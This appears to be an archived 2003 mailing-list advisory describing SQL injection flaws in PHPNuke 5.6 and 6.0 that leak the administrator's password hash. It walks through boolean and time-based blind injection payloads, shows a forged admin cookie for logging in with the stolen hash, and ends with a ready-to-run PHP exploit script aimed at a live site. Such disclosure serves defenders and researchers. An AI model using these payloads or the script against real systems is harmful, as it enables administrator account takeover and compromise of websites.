PHPNuke SQL Injection

From: Lucas Armstrong (lucasat_private)
Date: Thu Feb 20 2003 - 12:36:11 PST

  • Next message: secureat_private: "[CLA-2003:569] Conectiva Linux Security Announcement - kde"

    
     ('binary' encoding is not supported, stored as-is)
    PHPNuke SQL Injection 2-18-2003
    http://CGIshield.com
    
    How to steal the password hash of the Admin user on PHPnuke 6.0 & 5.6 
    windows+linux method #1
    
    PHPnuke, a widely used open-source web portal system, has been found to 
    contain a remotely exploitable SQL injection bug, which allows stealing of 
    the administrator's password hash. With the hash, an attacker may login 
    and gain complete control of the administrative side of the system.
    
    
    The bug exists in the search engine included with PHPnuke 
    (/modules/search/index.php). In this file, a database call is made without 
    placing quotes around a user supplied variable. Since the database call 
    selects information from the user table, a hacker can use a 'select fish' 
    attack. In this type of attack, the hacker can determine the value of a 
    single character in any given column in the table specified in the 
    statement. The column of most importance to a hacker would be the one 
    holding the administrators encrypted password. 
    Since the passwords in PHPnuke (and many other programs) are an md5 hash, 
    there are only 16 possible values for each character and 32 total 
    characters to expect. Select fishing involves utilizing the MySQL mid() 
    function to return true if the character is guessed correctly, thereby 
    returning a set of results to the screen. If the results show up on the 
    screen, the attacker can determine that the character is guessed 
    correctly, and then proceed to guess the next character in the sequence. 
    Any  md5 password hash can be fished in less than 512 (32*16) guesses. 
    When done by hand, this can take anywhere from 20-30 minutes, but when the 
    process is automated with a program it can take only a few minutes. One 
    such program is included at the end of this document.
    
    The first url the hacker would try could look like this:
    http://site/modules.php?
    name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)
    =6&type=stories
    
    When phpnuke queries the mysql database, the query then looks like this:
    
    "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext, 
    s.bodytext, a.url, s.comments, s.topic from nuke_stories s, nuke_authors a 
    where s.aid=a.aid AND (s.title LIKE '%%' OR s.hometext LIKE '%%' OR 
    s.bodytext LIKE '%%' OR s.notes LIKE '%%') AND TO_DAYS(NOW()) - TO_DAYS
    (time) <= 1 or mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10"
    
    It would check the admin table to see if the first character in the pwd 
    (password) column is equal to a value of '6'. If any admin password begins 
    with a value of '6', stories written by that admin will appear on the 
    screen. If no admin password begins with a value of '6', or the admin has 
    written no stories, then the screen will list no story results.
    
    
    example admin's hash: 6a204bd89f3c8348afd5c77c717a097a
    
    will the admin's stories show with the following urls called?
    
    (*note* in version 6.0 a check for '()' in any GET variable was added on 
    line 36 of mainfile.php , therefore the following data strings will only 
    work via POST in version 6.0 or later. The exploit included at the end of 
    this file works via POST.)
    
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=1&type=stories		NO
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=2&type=stories		No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=3&type=stories		No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=4&type=stories		No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=5&type=stories		No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=6&type=stories		Yes
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=7&type=stories		No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=8&type=stories		No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=9&type=stories		No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=0&type=stories		No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=char(97)&type=stories	No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=char(98)&type=stories	No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=char(99)&type=stories	No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=char(100)&type=stories	No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=char(101)&type=stories	No
    modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
    (a.pwd,1,1)=char(102)&type=stories	No
    
    
    To guess the next character in the sequence the attacker could use the 
    following url:
    http://site/modules.php?
    name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,2,1)
    =1&type=stories
    
    and so forth, until all values are determined. When guessing values from a-
    f, these values normally would need to be surrounded by single quotes. 
    This presents a problem for PHP and other applications which normally 
    escape quotes. To get around this problem, one could use the mysql char() 
    function which will output any ascii value, without using quotes. So to 
    guess the letter 'a' the hacker could use char(97). Here is an example url 
    guessing the 3rd character in the pwd column as 'a':
    http://site/modules.php?
    name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,3,1)=char
    (97)&type=stories
    
    
    Now that the attacker determines the password hash of the admin user, he 
    can base64 encode the hash (which is what phpnuke expects) and place it in 
    a netscape cookie file, and gain access to the target site. If the admin's 
    password is 'admin' and the admin's username is 'admin' then you would 
    take the value 'admin:admin:' and base64 encode it, put it in the cookie 
    (the variable of the encoded values is itself 'admin') the end result 
    would look similar to this (on localhost):
    
    lang
    english
    localhost/html/
    1024
    1809931264
    29595766
    4083407360
    29522340
    *
    admin
    YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
    localhost/html/
    1024
    3858912640
    29529535
    3993654000
    29523500
    *
    
    
    
    
    
    
    
    
    
    
    
    
    How to steal the password hash of the Admin user on PHPnuke 6.0 & 5.6 
    windows+linux method #2
    
    PHPnuke, a widely used open-source web portal system, has been found to 
    contain a remotely exploitable SQL injection bug, which allows stealing of 
    the administrator's password hash. With the hash, an attacker may login 
    and gain complete control of the administrative side of the system.
    
    The bug exists due to the format of the admin user's cookies. In PHPnuke 
    the admin credentials are stored in the form: 'username:password:', with 
    the password md5 encrypted, and the entire string base64 encoded. 
    
    Everytime a webpage is requested on the site running PHPnuke, the 'admin' 
    cookie variable (which contains the username/password value) is sent to 
    the script, and everytime its validity is checked in the auth.php file. 
    Here is the key code in auth.php which does the check:
    
    // start code
    
    if(isset($admin) && $admin != "") {
      $admin = base64_decode($admin);
      $admin = explode(":", $admin);
      $aid = "$admin[0]";
      $pwd = "$admin[1]";
      $admlanguage = "$admin[2]";
      if ($aid=="" || $pwd=="") {
        $admintest=0;
        echo "<html>\n";
        echo "<title>INTRUDER ALERT!!!</title>\n";
        echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
        echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";
        echo "<font face=\"Verdana\" size=\"+4\"><b>Get Out!
    </b></font></center>\n";
        echo "</body>\n";
        echo "</html>\n";
        exit;
      }
      $result=sql_query("select pwd from ".$prefix."_authors where 
    aid='$aid'", $dbi);
      if(!$result) {
            echo "Selection from database failed!";
            exit;
      } else {
        list($pass)=sql_fetch_row($result, $dbi);
        if($pass == $pwd && $pass != "") {
            $admintest = 1;
        }
      }
    }
    
    // end code
    
    
    As you notice, the $admin variable is first base64_decoded(), and split 
    into the two variables $aid and $pwd. The security problem lies in the 
    fact that when a string containing one or more single quote is base64 
    encoded, and submitted to the site, it will bypass PHP's automatic 
    escaping of GPC variables. Since no additional checks are done to defend 
    against an sql injection, an attacker is free to modify the select query 
    and determine the admin password hash.
    
    
    A more advanced version of the select fish attack must take place. This is 
    because in order to determine a certain character value, the script has to 
    respond in different way if the character guess is correct. This is not 
    naturally possible in PHPnuke, but it can be accomplished using mySQL's 
    benchmark() to give a delayed page response when the character is guessed 
    correctly. 
    
    Now that you are aware of where the sql injection attack occurs, let me 
    show the process of how this attack would work by modifying the select 
    query:
    
    (`select pwd from ".$prefix."_authors where aid='$aid'`)
    
    
    lets say the 'admin' user has a password hash 
    of '21232f297a57a5a743894a0e4a801fc3'. When we modify the query to check 
    if the first digit of the 'admin' password hash is equal to '1', we get 
    the following result:
    
    
    mysql> select pwd from nuke_authors where aid='admin' 
    and if(mid(pwd,1,1)=1,benchmark(10000000,encode("AAAA","AAAA")),1)/*;
    +----------------------------------+
    | pwd                              |
    +----------------------------------+
    | 21232f297a57a5a743894a0e4a801fc3 |
    +----------------------------------+
    1 row in set (0.00 sec)
    
    
    The small query execution time signifies an incorrect guess. Look what 
    happens when the attacker correctly guesses that the first character of 
    the 'admin' password hash is '2':
    
    mysql> select pwd from nuke_authors where aid='admin' and if(mid(pwd,1,1)
    =2,benchmark(20000000, encode("AAAA","AAAA")),1)/*;
    Empty set (11.11 sec)
    
    The attacker can prolong the execution time to his or her liking when a 
    correct guess occurs by raising the first argument to the benchmark() 
    function. By the different server response time , an attacker can 
    determine a the admin's password hash one character at a time.
    
    
    
    
    
    
    
    <?php
    
    ########## PHPnuke Auto-SelectFish Attacker
    ########## Davidat_private
    ########## works on phpnuke 5.6 and 6.0
    
    // To use this program, simply upload it to a php enabled webserver, and 
    execute
    // If php times out before the whole password hash is determined, 
    // adjust the maximum script execution time in php.ini
    // Also, replace following with correct values:
    
    $server="www.phpnuke.org";
    $script="/modules.php";
    
    // Title of a story created specifically by the admin who is being hacked.
    $data_to_match="Revolution";
    $admin_account_name="nukelite";
    $beginchar="1";
    $endchar="33";
    
    
    
    $admin_account_name=urlencode($admin_account_name);
    $data_to_match=urlencode($data_to_match);
    
    $checkchar[0]="char(48)";
    $checkchar[1]="char(49)";
    $checkchar[2]="char(50)";
    $checkchar[3]="char(51)";
    $checkchar[4]="char(52)";
    $checkchar[5]="char(53)";
    $checkchar[6]="char(54)";
    $checkchar[7]="char(55)";
    $checkchar[8]="char(56)";
    $checkchar[9]="char(57)";
    $checkchar[a]="char(97)";
    $checkchar[b]="char(98)";
    $checkchar[c]="char(99)";
    $checkchar[d]="char(100)";
    $checkchar[e]="char(101)";
    $checkchar[f]="char(102)";
    
    for($i=$beginchar;$i<$endchar;$i++){
    reset($checkchar);
    while (list($i2, $i2val) = @each($checkchar)){
    
    $vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_acco
    unt_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
    	$data=sendToHost("$server",'post',"$script","$vars");
    
    	if (eregi("No matches found to your query","$data")){
    
    	}
    else{
    
    echo("<br>$i= $i2"); flush();break;}
    
    	}
    
    }
    
    
    function sendToHost($host,$method,$path,$data,$useragent=1)
    {
    	$method = strtoupper($method);
    	$fp = fsockopen($host,80);
    	fputs($fp, "$method $path HTTP/1.1\n");
    	fputs($fp, "Host: $host\n");
    	fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
    	fputs($fp, "Content-length: " . strlen($data) . "\n");
    	if ($useragent)
    		fputs($fp, "User-Agent: Mozilla\n");
    	fputs($fp, "Connection: close\n\n");
    	if ($method == 'POST')
    		fputs($fp, $data);
    	while (!feof($fp))
    		$buf .= fgets($fp,128);
    	fclose($fp);
    for($slow=0;$slow<100;$slow++){}
    
    	return $buf;
    }
    
    
    ?>
    
    
    Vulnerability discovered by: David Zentner, davidat_private
    http://CGIshield.com
    



    This archive was generated by hypermail 2b30 : Thu Feb 20 2003 - 17:45:18 PST